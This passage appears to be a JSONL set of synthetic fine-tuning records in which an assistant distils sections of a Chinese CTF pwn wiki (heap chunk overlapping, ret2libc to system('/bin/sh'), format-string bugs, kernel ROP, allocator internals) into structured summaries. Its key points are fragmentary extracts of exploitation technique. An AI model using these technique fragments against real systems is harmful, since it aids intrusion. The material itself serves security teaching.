"linux", "user-mode", "heap", "code:bash"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5678f4384df32037b651", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本示例1：对inuse的fastbin进行extend」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：Chunk Extend and Overlapping > 基本示例1：对inuse的fastbin进行extend\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本示例1：对inuse的fastbin进行extend”展开。\n- 简单来说，该利用的效果是通过更改第一个块的大小来控制第二个块的内容。\n- `` int main(void) { void ptr,ptr1;\n- 如果想在32位下进行测试，可以把8字节偏移改为4字节。\n- //分配第二个0x10的chunk (long long )((long long)ptr-0x8)=0x41;\n- ` 0x602000: 0x0000000000000000 0x0000000000000041 <=== 篡改大小 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ` 执行...\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 10 行，首行 `int main(void)`\n- plain: 5 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 1`\n- plain: 5 行，首行 `0x602000: 0x0000000000000000 0x0000000000000041 <=== 篡改大小`\n- plain: 7 行，首行 `Fastbins[idx=0, size=0x10] 0x00`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1513, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本示例1：对inuse的fastbin进行extend", "heading_path": ["Chunk Extend and Overlapping", "基本示例1：对inuse的fastbin进行extend"], "original_id": "docs-66d0c002381ddc81e285", "original_line": 902, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "a755c83bc9c7ead199dfadd7", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-56d643b4e6332718fa18", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「分配：0x20」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 分析 > 分配：0x20\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分配：0x20”展开。\n- 比较常规的 kmalloc，没有限制size，最多可以分配 0x20 个 chunk： ``c v7 = _kmalloc(v12, 3264LL);\n- while ( addrList[v11] ) { if ( ++v11 == 32 ) return 0LL;\n- if ( v12 > 0x7FFFFFFF ) goto LABEL_29;\n- _check_object_size(v7, v12, 0LL);\n- v11 = copy_from_user(v8, v10, v9);\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 20 行，首行 `v7 = _kmalloc(v12, 3264LL);`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 382, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "分配：0x20", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "_例题：西湖论剑2021线上初赛 - easykernel_", "分析", "分配：0x20"], "original_id": "docs-a526a0d2cfd86b44007a", "original_line": 813, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "4f60868add9064c1db4ee850", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-57f8ed53bb26b662b429", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「cpio 格式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 打包文件系统 > cpio 格式\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 我们可以在 _install 目录下使用如下命令打包文件系统为 cpio 格式： ``shell $ find . | cpio -o --format=newc > ../rootfs.cpio ` 也可以这么写 `shell $ find . | cpio -o -H newc > ../rootfs.cpio ` > 这里的位置是笔者随便选的，也可以将之放到自己喜欢的位置。\n- 当然，我们还可以使用如下的命令重新解包文件系统： `shell $ cpio -idv < ./rootfs.cpio ``\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `$ find . | cpio -o --format=newc > ../rootfs.cpio`\n- shell: 1 行，首行 `$ find . | cpio -o -H newc > ../rootfs.cpio`\n- shell: 1 行，首行 `$ cpio -idv < ./rootfs.cpio`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 272, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "cpio 格式", "heading_path": ["搭建内核运行环境", "使用 BusyBox 搭建基本的文件系统", "打包文件系统", "cpio 格式"], "original_id": "docs-4e8348ea6c30c9fa4173", "original_line": 38, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "1f8cd8b1755b1f0425b7d833", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-58ae28842a0304b7ac33", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`\n标题：Double Fetch\n章节：Double Fetch > Reference\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/ https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/wang-pengfei https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/ http://p4nda.top/2018/07/20/0c...\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 321, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Reference", "heading_path": ["Double Fetch", "Reference"], "original_id": "docs-c31a6aa1204a54cb8837", "original_line": 786, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "source_root": "docs", "source_sha256": "c9b70bf8939ac1214b392075d17bd8d75fcd6da1799a7a73b3edd911a1a15991", "split": "train", "split_group_key": "e424bd16adb9fa330ea73ed1", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Double Fetch"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-59027faa599525663b81", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：gdb.attach(io) > 参考\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- 1. http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ ，深入浅出。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 439, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["gdb.attach(io)", "参考"], "original_id": "docs-131e31352190a7c21c4f", "original_line": 1375, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "f4bb5f095d09f986bfee2685", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-59a915191c2ef06a254a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md` 中的章节「buddy system」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md`\n标题：内核堆概述\n章节：内核堆概述 > buddy system\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“buddy system”展开。\n- 检索是否有可以合并的内存页，若有，则进行合成，放入更高 order 的链表中。\n- buddy system 是 Linux kernel 中的一个较为底层的内存管理系统，以内存页为粒度管理者所有的物理内存，其存在于 区 这一级别，对当前区所对应拥有的所有物理页框进行管理. 在每个 zone 结构体中都有一个 free\\_area 结构体数组，用以存储 buddy system 按照 order 管理的页面: ``c struct zone { //... struct free_area free_area[MAX_ORDER];\n- ` 其中的 MAX_ORDER 为一个常量，值为 11. 在 buddy system 中按照空闲页面的连续大小进行分阶管理，这里的 order 的实际含义为连续的空闲页面的大小，不过单位不是页面数，而是阶`，即对于每个下标而言，其中所存储的页面大小为： $$ 2^{order} $$ 在 free\\_area 中存放的页面通过自身的相应字段连接成双向链表结构，由此我们得到这样一张 _Overview_ ： [图片: image.png;\n- 文件: figure/zone_struct.png] - 分配： - 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐，之后从对应的下标取出连续内存页。\n- 若对应下标链表为空，则会从下一个 order 中取出内存页，一分为二，装载到当前下标对应链表中，之后再返还给上层调用，若下一个 order 也为空则会继续向更高的 order 进行该请求过程。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 4 行，首行 `struct zone {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 744, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "buddy system", "heading_path": ["内核堆概述", "buddy system"], "original_id": "docs-9fd907ed796fe1ba0e18", "original_line": 725, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "source_root": "docs", "source_sha256": "e7a66e37499b742f2c467a797689b8b366f0d217b52739a47ab5db0940b37235", "split": "train", "split_group_key": "9be99f0c14dc78d0fd52e245", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "内核堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-59ee6b1de15dbb07b7d8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26] > ret2libc > 例子 > 例3\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例3”展开。\n- 首先，查看安全保护 ``shell ➜ ret2libc3 checksec ret2libc3 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ` 可以看出，源程序仍旧开启了堆栈不可执行保护。\n- 基本利用思路如下 - 泄露 __libc_start_main 地址 - 获取 libc 版本 - 获取 system 地址与 /bin/sh 的地址 - 再次执行源程序 - 触发栈溢出执行 system(‘/bin/sh’) exp 如下： `python #!\n- 这里就主要利用了两个知识点： - system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。\n- 而 libc 在github上有人进行收集，如下 - https://github.com/niklasb/libc-database 所以如果我们知道 libc 中某个函数的地址，那么我们就可以确定该程序利用的 libc。\n- 进而查看源码，发现程序的 bug 仍然是栈溢出： `C int __cdecl main(int argc, const char argv, const char envp) { int v4;\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:c\n- code:python\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ ret2libc3 checksec ret2libc3`\n- C: 10 行，首行 `int __cdecl main(int argc, const char **argv, const char **envp)`\n- python: 31 行，首行 `#!/usr/bin/env python3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2564, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "例3", "heading_path": ["zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]", "ret2libc", "例子", "例3"], "original_id": "docs-807084fea48b6e979e5a", "original_line": 1254, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "9ace3e80123b73d4f70b50a5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:c", "code:python"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5ab4118a2bdb99bcf9e2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 堆上的格式化字符串漏洞 > 例子 > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- } `` 仔细看看，可以发现这个 format 其实是指向堆中的。\n- 而再仔细阅读，可以发现在打印联系人信息的时候存在格式化字符串漏洞。\n- 简单看看程序，发现程序正如名字所描述的，是一个联系人相关的程序，可以实现创建，修改，删除，打印联系人的信息。\n- ``C int __cdecl PrintInfo(int a1, int a2, int a3, char *format) { printf(\"\\tName: %s\\n\", a1);\n- printf(\"\\tLength %u\\n\", a2);\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:c\n\n代码/命令片段线索：\n- C: 8 行，首行 `int __cdecl PrintInfo(int a1, int a2, int a3, char *format)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 334, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["例子", "堆上的格式化字符串漏洞", "例子", "分析程序"], "original_id": "docs-da2a4f31d22271b21de0", "original_line": 871, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "7ade79a3924e927d37a5058a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:c"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5ae54838de70cac10929", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- SMT Host state unknown Mitigation: PTI Vulnerable Mitigation: usercopy/swapgs barriers and __user pointer sanitization Mitigation: Full generic retpoline, STIBP: disabled, RSB filling Not affected Not affected ` 题目给了个 test.ko，拖入 IDA 进行分析，发现只定义了 ioctl，可以看出是常...\n- 对于分配 object，我们需要传入如下形式结构体： `c struct { size_t size;\n- } ` 对于释放、读、写 object，则需要传入如下形式结构体： `c struct { size_t idx;\n- 首先查看启动脚本，可以发现开启了 SMEP 和 KASLR： ``bash #!\n\n关键术语：\n- 堆\n- ROP/JOP\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n- code:shell\n- code:c\n\n代码/命令片段线索：\n- bash: 9 行，首行 `#!/bin/sh`\n- shell: 10 行，首行 `/ $ cat /sys/devices/system/cpu/vulnerabilities/*`\n- c: 5 行，首行 `struct`\n- c: 6 行，首行 `struct`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 914, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "分析", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "_例题：西湖论剑2021线上初赛 - easykernel_", "分析"], "original_id": "docs-a0554e4f03f623b28b22", "original_line": 812, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "25b7575ed7643a8397bdf525", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "ROP/JOP", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash", "code:shell", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5b7878af47daf5d05109", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「place chunk in large bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > unsorted bin 遍历 > place chunk in large bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“place chunk in large bin”展开。\n- / maintain large bins in sorted order / / 从这里我们可以总结出，largebin 以 fd_nextsize 递减排序。\n- } else { // 当前要插入的 victim 的大小大于最小的 chunk // 判断 fwd 是否在 main arena assert(chunk_main_arena(fwd));\n- assert(chunk_main_arena(bck->bk));\n- assert(chunk_main_arena(fwd));\n- // 判断 bck->bk 是不是在 main arena。\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 63 行，首行 `} else {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2025, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "place chunk in large bin", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "unsorted bin 遍历", "place chunk in large bin"], "original_id": "docs-d36394662238e8b5c905", "original_line": 1150, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "2528e6071bc7994e157dc7b2", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5bbd455575b95187559b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md` 中的章节「SLAB_ACCOUNT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md`\n标题：内部隔离\n章节：内部隔离 > 堆块隔离 > SLAB_ACCOUNT\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SLAB_ACCOUNT”展开。\n- ` 在早期，许多结构体（如 cred 结构体）对应的堆块并不单独存在，会和相同大小的堆块使用相同的 cache。\n- This patch introduces SLAB_ACCOUNT flag which if passed to kmem_cache_create will force accounting for every allocation from this cache even if __GFP_ACCOUNT is not passed.\n- This patch does not make any of the existing caches use this flag - it will be done later in the series.\n- For the list, see below: - threadinfo - task_struct - task_delay_info - pid - cred - mm_struct - vm_area_struct and vm_region (nommu) - anon_vma and anon_vma_chain - signal_struct - sighand_struct - fs_struct - files_struct - fdtable and 